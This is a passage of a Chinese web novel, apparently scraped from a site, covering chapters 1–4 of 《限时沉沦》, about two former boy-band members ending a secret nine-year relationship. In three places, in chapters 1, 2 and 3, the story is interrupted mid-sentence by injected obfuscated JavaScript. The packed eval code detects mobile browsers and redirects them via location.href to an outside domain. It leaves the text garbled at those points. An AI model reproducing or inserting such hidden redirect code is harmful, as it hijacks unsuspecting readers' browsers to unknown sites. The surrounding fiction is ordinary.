《限时沉沦》 1. 第1章 #Infinite解散#的热搜已经挂了一天一夜了,粉丝们一片哀嚎,不能接受这个红了十年的男团就这么解散了,仿佛她们的青春也随之结束了。 “走了。”许稚舒只提了一个手提包,大件行李前几天就拿走了,之所以在宿舍多待几天,只是想跟路煌一起度过分手前的最后几天。 路煌脸色很差,沉得艳阳都难以暖透,幽邃的眼睛看着平静的许稚舒,沉默地将人送到门口。 车子已经在门口等了,许稚舒回头,看了一眼住了五年的宿舍,又看了一眼相恋了九年的人,浅浅地冲他笑了笑,便上了车。 随着车门关上,路煌的双手握成拳,想跑过去的双腿挣扎着定在原地,无力感丝丝缕缕地游离出来,越来越多,越来越浓,想要缠缚满整个车子,让它无法驶离。 而现实是,许稚舒连车窗都没落下,车子就这样开走了。 看着周围不断倒退的熟悉的街景,过去的种种皆会如此被掠过、淡忘,许稚舒终于维持不住平静的表情,闭上发酸的眼睛,仰起头抵在靠背上。 九年的感情,即便有万般不舍,还是要在节点到来时,选择结束。其实从在一起的那天起,他们就知道这一天总会到来,他们无法抵抗地进入了一段明知有时限的感情里,只是没想到会如此沉沦,九年未淡。 第一期五年的合约到期后,Infinite五人个为了更好的团队发展,选择续约。就这样一年一签,又维持了五年。如今Infinite早已站在了顶峰,为了各自以后的发展,他们选择不再续约。没有矛盾,没有争吵,就像到了人生某个路口必然会做出的选择。他们都接收了,只是粉丝接受不了。 路煌要回家继承家业,许稚舒则选择退居幕后,专心去做音乐。剩下的三个人会继续自己的演艺事业,走出属于自己的明星路。 稍微平复了心情,许稚舒拿出手机看了热搜。其实解散的决定三个月前就做好了,一个月前公司就开始为宣布消息后的各种可能做起了准备。另外三个队友陆续搬离了宿舍,只有他和路煌还待在那里,直到一切尘埃落定。 【为什么要解散?哭死!】 【就不能像其他组合那样选择单飞不解散吗?】 【我追了十年的团啊!!虽然总骂公司捧皇族,偏心,防爆,但真没想你们解散啊!】 【即便早知道会有这么一天,还是接受不了。】 【姐妹们,你们只是散了团,我们是散了团还没了CP啊!话题里已经哀嚎一片了。】 【呜呜呜,稚舒和路少都宣布个人账号停更了,我们‘皇叔CP’粉才是真的惨,以后抠糖都没地方了!】 【怎么办,皇叔CP没了,我居然有一种离异家庭小孩子不知道该跟爸还是跟妈的无措感。】 【他俩都不上台了,你跟谁都不会有消息可看了。还不如转去粉其他三个人,说不定还能在采访里得到点这两个人的消息。】 许稚舒手误点进了他和路煌的CP话题里,果然入眼全是哀嚎。 【啊啊啊啊啊,我不接受!求求了,不要都退啊啊啊啊!】 【我眼都哭肿了,哪怕抛开CP,这两个人的实力不上台也太可惜了。】 【怨恨自己是个穷逼,如果我富得流油,不管花多少钱都要把这两个人绑一个公司里,不上台天天看他们日常也行啊。】 【姐妹,我虽然非常同意你的想法,但比起富来,有几个能富过路少的?】 【哎,我知道CP只是自己抠糖,但有那么一瞬间我真有点怨恨路煌。哪怕他成立个公司,把许稚舒签了让他做幕后也行啊。路煌不至于没这个实力吧?】 【楼上,让你这么一说,我觉得好心酸啊。如果路煌愿意庇护一下许稚舒,我真的会觉得心情好一些。】 【这样想来,许稚舒退居幕后或许也是好事。这么漂亮一个人,如果独自在圈里打拼,真让人不放心。】 …… 许稚舒看着这些评论,心情稍微缓和了一些。他跟路煌在一起这些年,从来没有对外承认过恋情,也没有被拍到实质性的照片。但恋爱中的两个人多少会表现出一些默契,这些被CP粉抓到后,就会愉快地狂欢一阵。 和那些炒CP的人不同,那些人要时刻在外凹CP感,吃着CP粉的红利,实际对CP粉并不喜欢,因为要时刻营业,实在是压力很大。许稚舒和路煌跟炒CP的不一样,他们没有那样的压力,只要小心别被拍到太过分的照片就行。所以CP粉对他们来说更像是恋爱中的锦上添花。 回到家,许稚舒把自己摔进沙发里,默默地盯着天花板发呆。他觉得自己好像什么都没想,又好像想了许多事情。但他心里明白,他不能想,而是应该用事情去填补能想的时间,否则他将很难维持现在的冷静。 手机电量告急的提示音响起,许稚舒没有动,他谁都不想联系,也不想让别人联系到自己,没电关机,或许是最好的选择。 * 一周在漫长的与思念的对抗中走过,难以抑制的想念让许稚舒几乎三天没有合眼,最后困得实在顶不住了,才长长地睡了一觉,换来的却是生物钟的混乱。 周日下午,许稚舒终于给关机了一周的手机充上电,顺利开机后,跳出来的消息提示让他目不暇接。唯一值得庆幸的是这些消息里没路煌发来的。这让许稚舒整理好的心情没有被击出裂缝,许稚舒打心底里感谢路煌。 回了助理的消息,明天是他个人工作室开业的日子,流程上早就安排好了,助理只是向他确认明天来接他的时间。 用家里仅剩的一个恰巴塔和金枪鱼罐头做了三明治,空荡荡的冰箱跟他一样,等待补充能量。 就着昨天没看完的电影,许稚舒把午晚饭吃完,然后开始给家里做大扫除。他平时不常回来住,现在住回来了,又颓废了一周,家里实在乱得不成样子,还是要收拾一下。 等家里整齐了,外面的天色也暗了。许稚舒进浴室好好地泡了个澡。 手抹开镜子上的雾气,不算清晰的镜面依旧能照出许稚舒的憔悴。他感觉自己瘦了些,眼睛还有些肿,脸上没有气色,看着这样的自己,许稚舒扯了扯嘴角。 他允许自己这样,允许自己在状态不好的时候过得乱七八糟,但他会给自己一个时限。这个期限过去了,无论心里的难过与不适好没好,他都会重新站起来,不再去想,继续走未来的路,剩下的交给总会慢慢走过的时间。 人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442924|185046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤心不会突然消失,只是在走过一段时间后回头看,才发现已经没有那么难过了。这样的对比会让人生出勇气,能够更释然地继续生活。许稚舒希望这次也能遵循这样的规律。 次日早八点,许稚舒准时被闹钟叫醒。洗漱过后,助理乐言就带着早餐到了。 一周没见许稚舒,乐言愣了一下,随后像什么都没觉察一样,元气十足地道:“许哥,早。” “早。”许稚舒坐下,“过来一起吃。” “我吃过了。”乐言今年二十五了,但看着像不到二十,娃娃脸让他在年纪上实在不占便宜。 “这么早?”往常乐言给他送饭,两个人几乎都是一起吃的。 “送花篮的一早来电话跟我确认送达时间,把我吵醒了,我就先吃了。”说着话,乐言跑进洗手间洗了手,才又道,“哥你慢慢吃,我给你收拾床铺。” 说完,他就蹿进卧室了。 乐言已经跟着许稚舒一起工作五年了,这次组合解散,许稚舒将他一起带出了公司。乐言性格比较跳,进公司那会儿,艺人都觉得他不够稳重,不愿意要他。只有许稚舒很喜欢他的性格,能量足的人会让许稚舒觉得有精神,乐言这才得以留下。 事实证明许稚舒的眼光不错,乐言性子活,但并不咋呼,安排给他的工作都能完成得很好,勤快又能吃苦,跟许稚舒的粉丝们相处得也不错,实在没什么好挑的。许稚舒也不是矫情的性格,对助理非常大方,两个人合作相当愉快。 “哥,你午饭想吃什么啊?”乐言一边整理一边跟许稚舒说话,好在许稚舒的房子不是太大,不然他得扯着嗓子喊。 “你有想吃的吗?”许稚舒正吃着早饭,现在让他想午饭实在早了点。 许稚舒的工作室开业并没有请什么人,整体很低调,工作室也没有别人,就没有宴请的打算。他和乐言挑喜欢吃的就行了。 “吃披萨怎么样?”乐言提议。 “可以。”许稚舒也不扫兴,离开舞台,在吃的方面就没那么多讲究了。 开业仪式开始前,让许稚舒意外的是他的队友贺漾居然来了。 “你怎么来了?也不提前说一声。”见到贺漾,许稚舒的心情又好了许多。 贺漾摘掉墨镜,皱眉道:“咱们才几天没见,你怎么把自己祸祸成这样了?这是瘦了多少?” 许稚舒露出温柔的笑容:“没有祸祸自己,这一周我把之前没睡足的觉都补回来了,没按时吃饭而已。” 他不希望好友担心,善意地说了谎。 贺漾这才舒展眉心:“那就好。你开工作室这么大的事,他们都忙,来不了。我哪能不来?” 许稚舒拍了拍他的肩膀,两个人一起往正门走。此时正门摆满了花篮,都是熟人送的,其中并没有路煌的。 开业仪式很顺利。Infinite作为解散但并没有过气的男团,成员们的一举一动还是会引起不少关注。即便许稚舒一个记者都没邀请,仪式一结束,还是立刻上了热搜。 报道的内容嘲讽的意思很明显,说Infinite只是塑料兄弟情,之前装样子骗粉丝,现在装都不装了,许稚舒工作室开业,到场的只有贺漾,其他三个人连句话都没有。 2. 第2章 许稚舒的工作室选址很好,作为源海市的核心地段之一,这片区域没有高层建筑,成排风格统一的三层小楼互不打扰地形成规整的街景。路宽人少绿化度高的环境有种宁静安逸感,很适合搞创作的人。所以这边基本都是个人工作室,除了房租高,别的挑不出毛病。 “你可真会找地方。”贺漾满脸羡慕,随着许稚舒一起上楼参观。 别看这里地上只有三层,但每一层空间都不小,地下还有独立的停车空间,能容纳五辆车,对许稚舒来说绝对是够用了。 “要不你也把工作室搬过来?”许稚舒微笑着提议,“我可以帮你留意一下这边的房源。到时候我们见面更方便。” 别看这里贵,还真的不容易租到。当时是路煌托了关系,才留住了这么一幢等他们来看房,否则真的是今天工作室搬走,明天装修队就进场了。 “不了不了,租金压力太大。现在离了团,是真的开始solo了,能有什么样的成绩还不好说,我心里没底。”贺漾对着许稚舒还是会实话实说的。 Infinite到了后期,他们五个成员都出了solo单曲和迷你专,成绩还不错。可他们心里都有数,那是沾了团的光,只要团粉够稳固,他们solo的成绩都不会太差。 现在Infinite解散了,纵使还是会有歌迷一直坚守,或者从团粉变单人粉,却还是不可必避免地会流失大部分粉丝,尤其是路人粉。所以接下来的路才是真正的考验。 “有需要帮忙的就跟我说。”他的工作室不大,但五脏俱全,尤其是二层的录音棚,设备都是顶尖的。 贺漾一笑:“我肯定不会跟你客气的。” 解散后他们几个心里都很明确,十年的感情不是白处的,在这个圈子里真有难处了,能找到必然会帮自己的人,也就他们几个。 参观完,两个人来到许稚舒的办公室,这里的面积比较小,另外更大的空间都是许稚舒的音乐室,里面是各种作曲的设备和乐器。 “随便坐。”许稚舒招呼他,茶几上有泡好的茶,还有Infinite的另外两位成员单长清和纪西卓送来的庆祝他开业的酒。 贺漾坐下后,看了看两瓶包装得精美的酒以及祝贺卡片,笑说:“他们倒是挺有默契,都送了酒。” “等会儿摆酒柜里,等周年庆的时候开了,更有意义。” “到时候叫我一个。”贺漾也来了兴致,在前路未知的情况下,有一个可期盼的仪式感,会让人充满期待。 “没问题,如果他们俩有空,也一起叫来。”说到这儿,许稚舒又玩笑似的补了一句,“如果我这个工作室能撑一年的话。” 成员们单飞前路难料,他转幕后其实也有同样的压力。如果他写不出好的歌曲,如果没有人向他邀歌,就算有再美好的向往也是枉然。 “肯定能行!”贺漾是鼓励他,也是鼓励自己,“长清去参加综艺,西卓去上表演课,也不知道怎么样。” 两个人都在外地,一个是必须把握住解散后的第一个工作机会;一个是在上一天好几万的表演课。不能来参加许稚舒的开业仪式,许稚舒是完全能理解的。 短暂的沉默后,贺漾还是没憋住,问:“那个,你开业,路煌没表示一下?” 这样直接的问也只有贺漾敢了。 许稚舒扯了扯嘴角,摇摇头:“他为我做的足够多了。” 这个工作室从装修到所有设备、乐器、软装都是路煌出钱找人设计施工和订购的。就连房租路煌都是一口气给他交了五年,为的就是让他能安心创作。 许稚舒没有拒绝路煌的好意,他很清楚,越是觉得亏欠,越难分开。现在他收了路煌这么多东西,至少能让路煌心理找到一个平衡点。“两清”的结果,才不会继续纠缠。哪怕这些看在外人眼里,他就像个绝对的捞男,也无所谓。 贺漾叹了口气,许稚舒和路煌的关系他们这几个队友再清楚不过了。除了觉得可惜,也不得不面对现实。 许稚舒笑说:“你怎么还叹上气了,现在咱们几个都能过得很好,才是最重要的。” “说得也是。”贺漾知道许稚舒不可能不难过,但许稚舒向来是他们中最能克制的那一个,所以有些话出于朋友的角度他会问,但不会硬揭许稚舒藏起来的伤。 许稚舒适时地转移了话题:“中午我没订餐厅,跟阿言说好吃披萨的。” “行啊,我跟你们一起吃,好久没吃了。” 闲聊到中午,披萨送到了,还有一些小食和咖啡,乐言给他们送了上来。 见桌上东西都不缺,乐言才道:“许哥,贺哥,你们慢慢吃,有事叫我。” “你不一起?”贺漾问。 “我下楼跟李姐一起吃。”如果贺漾没来,他会叫上李瑶一起陪许稚舒吃饭。 “你们东西够吃吗?”许稚舒在用餐上不需要乐言帮着精打细算。 “够的,同样的套餐我点了两份。”乐言知道许稚舒的习惯,也不会硬要给许稚舒省。 洗干净手,贺漾把过长的头发在后面扎了一下,这才动手扯了一块披萨,拉长的芝士勾人食欲:“刚才没问你,现在李瑶跟着你干了?” “嗯,路煌没地方安排她,她也二十六了,继续给别人当助理,熬夜操心的不是回事。” 李瑶之前是路煌的助理,非常擅于应对交际上的事。Infinite解散后,他们各自都带走了自己的助理。路煌回去继承家业,以李瑶的能力是进不去路家的公司的,这么多年的相处让路煌不可能将人直接辞退了事,所以就托给了许稚舒。 许稚舒工作室正好需要一个前台接待,兼负责工作室日常杂事的。李瑶知跟知底,工作能力不错,嘴巴又严,许稚舒自然愿意用她。 “也好,都是自己人,联系起来方便。”贺漾有种虽然解散了,但好像又没有完全解散的感觉。 吃完午饭,贺漾就回去了。送贺漾下楼期间,乐言提了一嘴网上的热搜。许稚舒和贺漾也只是相视一笑,没有任何表态。 作为一个十年老团,早就过了有个风吹草动就要站出来解释的时期了。有些无中生有的东西,时间自然会给出答案。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442925|185046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而那些装模作样的,也终会露出马脚。 回到办公室,许稚舒喝着剩下的咖啡,几乎是没有任何思考的、习惯性地拿出手机,按开了和路煌聊天的页面。 此时页面干干净净,所有聊天记录都被删掉了,许稚舒恍然回神,才想起来他们已经分手了。 之前两个人闲暇时就会随时给对方发消息,不需要对方及时回复,只是想跟对方分享而已。现在他已经不能再发了。 盯着空白的页面发了一会儿呆,许稚舒始终没舍得删除路煌的联系方式,只默默地收起手机,不再多想。 没有工作安排,许稚舒就提前下班了,没让乐言送他,他自己开了停在工作室的车前往超市采购。 现在不是购物高峰,超市里人不多,许稚舒推着车子一处一处慢慢走着,他没有什么特别想吃的,只是觉得家里的冰箱需要填满,才能显得单身生活没有那么狼狈。 这可能只是他分手初期的一种应激反应,他顺从它,不抵抗,依旧等待时间来疗愈。 冰柜的冷气开得很足,在这个三伏天里,冻得人只想赶紧推车跑开。 许稚舒也不例外,他快速拿了两块牛排,又顺手扯了几包蔬菜往车里一丢,就赶紧跑到了旁边卖成品的展柜,这才觉得暖和了一些。往常去冷柜前拿东西的活儿都是路煌干的,他就推着车远远等着就好。路煌并不会挑选,跟他这次一样,都是随手拿了就跑。 不知不觉又想起这个人,许稚舒有些懊恼,赶紧转头去挑成品三明治转移注意力。 对面推过来的购物车不小心与他的蹭了一下,这是常有的事,许稚舒没在意,也没去看,但对方却停在了他旁边。 许稚舒这才抬起头,就对上了陈玉欣微笑中又有些愧疚的脸。 “路太太。”许稚舒微笑着叫了人。 陈玉欣是路煌的大嫂,路煌这一代三个孩子,路煌排第二,下面还有一个妹妹。 许稚舒跟路煌约会被陈玉欣遇到过,所以两个人的关系在陈玉欣这儿不是秘密。路煌后来还带他跟陈玉欣一起吃过几次饭。 陈玉欣笑容多了些苦涩:“你之前不是都叫我大嫂吗?就都听习惯了。” 许稚舒笑了笑,并没有改口,转而客套地问:“一个人来逛超市吗?” 据他所知,陈玉欣出门逛街,身边都会带个帮她提东西的佣人。 “嗯,刚和朋友在这附近喝完下午茶,临时想来买点零食。”陈玉欣一直看着许稚舒,脸上的笑意也渐渐维持不住了,“一起吃个晚饭好吗?” 他跟路煌已经分手了,就不想再跟路煌的家人有联系了,没有必要。 “抱歉,我还有别的安排。”许稚舒找了个借口。 陈玉欣沉默下来,仿佛看穿了许稚舒的借口。 许稚舒没再多留,道:“我买好了,先走了。” 在他和陈玉欣擦肩而过时,他听到陈玉欣底声说:“稚舒,对不起。” 稚舒垂下眼睑,脚步顿了片刻,说:“不是你的错,别放在心上。” 随即就推车离开了。 3. 第3章 路家事业做得很大,论家产必然是排得上前列的,但家庭结构很简单,人口也不多。现在路老爷子身体还很硬朗,但路煌这一辈早已开始接手家族企业了,尤其是路家大少爷路煊,已经可以撑起路家的核心产业了。 路家从老一辈开始就不像其他豪门那样会要求子女联姻,在婚姻方面给了后辈很大的自由空间,但也有老一辈的思想局限和执念,那就是必须要有后代作为继承人。 正常来说路煊已经结婚,陈玉欣跟路煊是大学同学,家境虽然很普通,可两个人感情很好,婚后有孩子是顺理成章的事。不过谁都没料到,两个人结婚七年,感情笃定,却没有孩子。 为了怀孕,陈玉欣看了许多医生,吃了不少药调理,也做过辅助生殖,但都没能成功。由于压力太大,折腾了五年,陈玉欣无论身体还是精神都无法再坚持,路煊的父母心疼儿媳,劝她放弃尝试,养好身体,好好生活。 如此一来,传宗接代的责任就来到了路煌身上。路家老爷子也是因为还有路煌可以指望,所以对路煊夫妻并没强求,家中和睦依旧。 回到家,许稚舒把东西胡乱塞进冰箱,就躺进了沙发里,他觉得很疲惫,明明应该很高兴的一天,结果最是这样结尾了。 路家的情况他都清楚,路煌从未对他隐瞒,也是因为清楚,所以能体谅路煌的难处,并不怨恨任何人。如果路煊和陈玉欣顺利有孩子,他相信路煌会向家里争取,即便同性恋人在路家那个圈层根本上不了台面。可现在,他和路煌都要面对现实,为了路家的和睦,路煌必须要回到正轨上去。 许稚舒蜷起腿,把自己缩紧来抵挡喉咙里压不住的酸苦和震颤,一遍遍告诉自己别不甘心,缘分尽了而已。睡一觉,等明天太阳升起来,就都好了。 * 工作室刚开业,并不忙,许稚舒没有天天去工作室,而是一天休息,一天工作,尽量让自己心情平和,不胡思乱想,这样他才能保持情绪稳定,就像往常一样。 早上九点半,许稚舒开车到达工作室。从地下停车位走楼梯上了一层。如果硬要说这里的缺点,那就是没有电梯。 “许哥,早。”李瑶坐着前台,见他来了,忙站起来。 “早。” 李瑶:“刚才郑夫人的助理亲自来送了邀请函,这周五郑夫人要举办生日宴,请你参加。” 说着,李瑶把邀请函放到桌面上。 许稚舒看了一下时间和地址,他周五没有安排,现在自己单干了,这种场合多少还是要出席一下,刷个存在感也好。 “那是什么?”许稚舒看到前台下方桌面放着一个木纹的盒子,挺大的一个。 “哦,是今天一早送来的开业礼物,送件人是写着‘陈女士’,没留全名。”李瑶把盒子搬过来,上面别的卡片写着“祝开业大吉”。 他工作室开业有几天了,现在才送东西来,又姓陈,许稚舒不用多想就能猜出是陈玉欣送的。估计是那天遇到后,她打听了才知道他开了工作室。 打开盒子,里面放着各种点心,点心上盖着店铺的名字。许稚舒了然,这家铺子订礼盒至少要提前一周,现在才送到很正常。 心意许稚舒领了,不过他没什么胃口吃这些:“这家点心不好保存,你和阿言分了吧。” 李瑶对路家的情况不清楚,没有多想地点头应了。他们当助理的时候,艺人吃不完、用不完的东西也会让他们分走,李瑶不会觉得奇怪。 许稚舒一直有创作的习惯,这些年写了不少歌,大部分都给Infinite用了,卖掉的不多,剩下的都还没来得及整理和编曲。这段时间他主要就是把剩下的这些歌整理出来,如果有人来邀歌,方便他找出合适的;如果没人来找他合作,他也能往各大音乐公司投一投。 * 周五,许稚舒应邀去参加郑夫人的生日宴。郑家是做投资的,涉及得项目又多又杂,郑先生眼光好,这些年投资基本没失利过,将郑家抬到了一个不错的位置上。 现在的郑夫人是郑先生的二婚妻子,有自己的香水品牌,跟不少艺人合作过,其中就包括许稚舒。 到达宴会举办的酒店,许稚舒一下车就看到了从酒店里出来的路煌。 路煌穿着一身剪裁合体的灰色西装,短短的时间仿佛已经完全从舞台上的明星转换成了商业人士,让许稚舒觉得有点陌生。 他不想让路煌看到自己,正准备转过身去,路煌就看了过来。 四目相对,许稚舒瞬间情绪空白。有的时候情绪空白比情绪复杂更难解,它就像开启了某种自我保护机制,空白反而更抓不到头绪。 不去思考,不去细究,许稚舒把目光转到别处,想等路煌走了他再过去。结果等到的是路煌向他这边走了过来。 近在咫尺的距离让许稚舒再次恍惚,仿佛进入了另一个时空,在那个时空里,他和路煌还是恋人的关系,只要路煌站在他面前,曾经的种种就又回到了最熟悉、最舒适的状态。 “来参加生日宴?”路煌开口,把许稚舒拉回现实些许。 许稚舒的空白让他的表情很自然,也很公事化,只是出于客套地进入社交状态:“对。你怎么在这儿?” 路煌眼睛一错不错地盯着许稚舒,喉头动了动,说:“郑夫人的生日宴,我代表家里过来露一面。” 郑家的体量跟路家没法比,虽然在某些项目上会有一点小竞争,但并没有过冲突。既然郑家送了请柬过来,郑先生又向来会做人,路家自然会给个面子,让路煌过来打个招呼,不必久待。 许稚舒点点头,便不再说话了。 两个人就这样相对沉默下来,但谁都没有走。车上的乐言见气氛尴尬,又担心被人看到乱传Infinite分开后维持不住熟料兄弟情,于是压下车窗跟路煌打了招呼。 路煌这才把目光从许稚舒身上移开,冲乐言点点头,说:“盯着他好好吃饭。” 乐言立刻道:“路少放心,许哥有好好吃饭的。” 路煌又看了看许稚舒,说:“宴会人多,稍微待一会儿就回去吧。离郑昌远一点,我看这小子最近要走霉运。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442926|185046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >许稚舒没问为什么,只是点点头。他不是不想跟路煌说话,只是怕一旦聊起来,熟悉的感觉全部回笼,他这段时间的努力就白费了。 “二少,该走了。”秘书走过来提醒,显然之后路煌还有安排。 路煌顿了一下,才对许稚舒道:“我先走了。” 许稚舒再次点头,依旧没说话。 待路煌走出一些距离,许稚舒就迫不及待地往酒店大门走去。他必须换一个环境,人越多越好,让他能回到现实中来。 “先生您好,请出示您的邀请函。”接待的服务生足够陌生的声音终于彻底将许稚舒拉出了熟悉感,也让他的心跳得以平复。 许稚舒拿出邀请函,服务生核对后,微笑道:“许先生,这边请。” 通往宴会厅的路全用鲜花做了布置,一看就很用心。 “稚舒?你怎么在这儿?” 许稚舒闻声转头,就看到了自己同父异母的大哥杨观。 杨家的关系说起来就比较复杂了,归根结底,只能说他们的父亲是个人渣。 当初他们的父亲杨立致脚踩两只船,就是杨观的母亲和许稚舒的母亲。两个女人完全不知道有对方的存在,且先后怀孕了。 杨观出生后,杨立致看中杨观外公家能给他带来的助力,就娶了他母亲。许稚舒的母亲在不知情的情况下,成了第三者。直到许稚舒出生,杨立致才坦白不能跟她结婚的事实。 许稚舒的母亲果断远离了杨立致,独自带着许稚舒生活,虽然过得不富裕,却也没有亏待许稚舒什么。 杨观在得知许稚舒的存在后,一度对他和他母亲非常敌视,认为正是因为他们的存在,才使得自己的母亲与父亲感情一直不睦,最后走到了离婚的地步。 但随着杨观长大,知道的越来越多,他才惊觉自己的父亲才是那个人渣! 许稚舒十六那年,他母亲因病过世。后事都是杨观和他母亲帮着操办的,之后也接济了许稚舒的生活,直到他出道后经济独立。 所以许稚舒恨他父亲,却并不恨杨观和他母亲。毕竟这两个女人都是受害者。 “郑夫人邀请我的。哥,你怎么也来了?”这是许稚舒没想到的。他和杨观往来不算频繁,却也不生疏。 “我最近跟郑先生有些合作意向,就收到了邀请函。”杨观如今跟杨家没有什么往来,之前跟着外公做事,现在也开始发展自己的事业了。 提到郑先生,许稚舒又想起了刚才路煌的提醒,于是道:“路煌提醒我离郑先生的儿子远一点,你也少与他接触吧。” 路煌是什么人,他的提醒杨观肯定会放心上,点头道:“行,我会注意。” 说罢,两个人间隔了一分多钟,一前一后进了宴会厅,装作并不熟的样子。他们的关系并不能说密不透风,但并没有主动对外提起,所以知道的人还是少数。随着杨立致第一段婚姻的结束,加上杨家现在发展得很不错,那些知道内幕的人都不愿意多这个嘴,所以许稚舒私生子的身份一直隐瞒得非常好。这对许稚舒来说反而是好事。 4. 第4章 进入宴会厅,悠扬的管弦乐旋转于整个厅内,明亮的灯光衬托着每个人的表情,繁重的水晶灯置于香槟塔上,空着的酒杯披着水晶灯的光芒,在周围鲜花哑光质感的对比下,更显华丽。 “稚舒。”郑夫人见他进门,便迎了过来。作为今天宴会的主角,她并没有把迎宾的事交给其他人,等着到场的宾客找时机与她打招呼。 “郑夫人,生日快乐。”许稚舒接过服务生递来的香槟,与郑夫人碰杯。 “谢谢,很高兴你能来。”郑夫人穿了一身蓝色的鱼尾礼服,衬托出凹凸有致的身材,“今天人多,有招待不周的别介意。” “不会,能收到邀请,我很荣幸。”许稚舒客气道。 郑夫人比郑先生小了二十岁,如今三十多岁的年纪正是有钱有颜,事业感情双丰收的时候,整个人意气风发,又不十分强势,中间的度把握得相当好,待人接物都让人舒适。 “那人是谁?真他妈好看。” “看着眼熟,想不起来。” “这腰,这腿,的确带劲。” “去认识一下?说不定晚上就能带走。” “哈哈,可以打听着,等他离了酒店再找机会。在郑家宴会上闹出动静,那不是不给郑少面子吗?” 围在郑昌身边的一群富二代从许稚舒一进门就盯上了他。别人是来给郑夫人庆生的,这几个二代更像是来选妃的。 郑昌看不上自己的这位继母,平时也不给面子。今天之所以能穿着西装到场,没为了不给郑夫人脸闹幺蛾子,纯是因为他父亲最近开始带他接触公司事务,他得把样子装全了,不能让家产落到郑夫人手里。 而这些跟他混在一起的富二代能来,也纯是为了给郑昌解闷。平时他们一起混的时候是半句郑夫人都不会提的,因为郑昌真的会发火。 “我想起来了,他是许稚舒,是前些日子刚解散的男团里的人。” “难怪这么好看的人,我在饭局上没见过,原来是Infinite的成员。这个团也是够行的,多大的饭局都没来参加过。” “路二少的团,有他罩着,的确没人敢动。不过也好,干净,玩着放心。” “哈哈哈,说得也是。现在路煌都退团了,还不是随便玩?” “让你们这么一说我想起来,前几天好像还有热搜,说是这个许稚舒开了工作室,但前队友只去了一个。看来路煌是跟他们不往来了。” 几个人笑得猥琐,都是一群在外惹了事,要家里出面擦屁股的主儿,在场的但凡听说过一些,都是绕着他们走的。 郑昌端着酒杯打量着许稚舒,他对男人没兴趣,但许稚舒实在是好看,比他见过的男明星都好看。他不好这口,可总有人喜欢。现在他应酬多了,接触的人也多了,肯定有不少好这口的。如果能让许稚舒去作陪,说不定能省不少事。至于许稚舒是不是喜欢男的,对他来说不重要。 与郑夫人浅聊了几句,又有宾客到了,郑夫人要去招呼,许稚舒就端着酒杯找了处角落待着。原本他是抱着交际的心态来的,只是在见到路煌后,他就什么心情都没有了。 情绪化不是一个在娱乐圈摸爬滚打了这么多年的人应该有的,但那是他爱了九年的人,正式分手没几天,即便已经努力梳理情绪了,也为这段感情划了分割线。可人心不是程序,情绪来的时候并不由人。 “稚舒。”郭枝走过来,叫了他一声。她今天没穿礼服,而是穿了一身女士西装。 许稚舒很庆兴有人来跟他说话,让他能被动地离开情绪旋涡。他立刻带上微笑,礼貌地道:“郭老师,好久不见。” “的确很久没见了。”郭枝作为老牌天后,今年也五十多了,除了重要的节日性的晚会会参加外,已经很少公开露面了,今天来参加郑夫人的生日宴纯是私交。 前几年他们团在晚会上与郭枝有过合作舞台,反响很好。后来同参加晚会在休息室等待时,他们也会主动去跟郭枝打招呼。只不过近两年Infinite忙着巡演,几乎不参加晚会了,也就没再见到郭枝。 “听说你自己开了工作室?”郭枝对外并不是个随和的人,但对于自己欣赏的后辈,还是很好说话的。 “是,刚起步,还没有什么作品。”在前辈面前,谦虚是必须的。 “慢慢来,你有才华,是吃这碗饭的料。”郭枝不轻易表扬别人有才,可作为与许稚舒有过合作的人,当时的作品改编就是许稚舒做的,她作为前辈,从头到尾都没找到可挑剔的地方。 许稚舒给她的印象总是很温和的,却不是讨好,也不软弱。相反,他非常有主见,不容易被动摇。郭枝见过的人多,看过的小心思也多,她知道像许稚舒这样的人,没有长年的相处,是很不容易与人交心。 “多谢郭老师鼓励,我会的。” “有工作室的名片吗?给我一张。”郭枝主动提起。 “有。”许稚舒拿出名片,双手递给郭枝。像郭枝这样的前辈,轻易是加不到联系方式的,能被要名片,已经非常不错了。 郭枝刚把名片放进口袋,两人就听到一阵惊恐的尖叫声。许稚舒下意识地上前一步,将郭枝挡在身后,随即往尖叫处看去,就见大门口站着一个手握尖刀的女人。 女人头发凌乱,眼神无光,明显是受了刺激,嘴里小声念叨着什么,然后没有预兆地声音突然变大,神经质似的喊道:“郑昌,郑昌你在哪儿!!!” 许稚舒脑子里立刻跳出路煌跟他说的话,不知道路煌是早知道什么,还是猜的,但能肯定的是路煌让他离郑昌远点是没错的。 另一边,路煌回到路家的山间别墅,家里只有路老爷子在。这属于路家常态,每个人都有自己的事业,就连路家老太太平日里的老姐妹聚会也多得很,反倒趁得退休后的路老爷子是这个家里最闲的。 